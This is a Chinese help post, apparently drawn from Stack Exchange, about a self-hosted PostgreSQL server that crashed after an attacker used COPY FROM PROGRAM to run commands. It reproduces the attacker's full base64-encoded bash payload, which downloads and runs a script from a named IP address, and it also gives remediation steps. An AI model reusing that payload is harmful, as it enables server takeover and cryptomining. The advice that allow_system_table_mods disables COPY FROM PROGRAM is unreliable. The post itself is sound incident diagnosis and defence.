自建PostgreSQL遭未授权恶意查询，致服务器资源过高并宕机求助

问题现象 #

• 数据库从Azure迁移至自建PostgreSQL后，服务器VM利用率无故飙升至100%，持续数小时后数据库宕机，且该情况定期发生
• 升级VM至更高配置后，利用率维持在50%左右，但数据库仍会定期宕机

异常日志发现 #

查看数据库日志后，发现一段与项目完全无关的恶意执行语句：

postgres@postgres STATEMENT:  DROP TABLE IF EXISTS UofsVBqD;
CREATE TABLE UofsVBqD(cmd_output text);
COPY UofsVBqD FROM PROGRAM 
'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC40MC4yNDMuMjA1L3BnLnNofGJhc2gKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAxOTQuNDAuMjQzLjIwNS9wZy5zaHxiYXNoCmVsc2UKICBfX2N1cmwgaHR0cDovLzE5NC40MC4yNDMuMjA1L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';
SELECT * FROM UofsVBqD;
DROP TABLE IF EXISTS UofsVBqD;

资源占用峰值日志显示：最近7天内，服务器利用率定期飙升至100%，升级VM配置后利用率维持在50%左右，但宕机问题依旧。

问题分析 #

这段SQL是典型的恶意注入攻击，通过PostgreSQL的COPY FROM PROGRAM功能执行系统命令，下载并运行恶意脚本（大概率是挖矿程序），这正是导致服务器资源耗尽、数据库宕机的根本原因。

紧急修复步骤 #

1. 阻断攻击源

   • 检查PostgreSQL连接日志，定位执行该语句的IP地址，在防火墙/安全组中直接封禁
   • 重置所有数据库用户密码，尤其是拥有SUPERUSER权限的账号，避免恶意方再次登录

2. 禁用危险功能

   • 修改PostgreSQL配置文件postgresql.conf，设置allow_system_table_mods = off，禁用COPY FROM PROGRAM功能（需确认业务无依赖）
   • 排查所有数据库用户权限，移除不必要的EXECUTE或SUPERUSER权限，遵循最小权限原则

3. 清理恶意程序

   • 登录服务器VM，终止未知挖矿/异常进程
   • 检查/tmp、/var/tmp等临时目录，删除可疑脚本文件
   • 扫描系统是否存在后门或残留恶意组件

4. 加强安全防护

   • 限制PostgreSQL外部访问范围，仅允许业务IP段连接
   • 开启PostgreSQL日志审计，监控所有执行的SQL语句
   • 定期更新PostgreSQL版本，修复已知安全漏洞

内容的提问来源于stack exchange，提问作者Aarti Joshi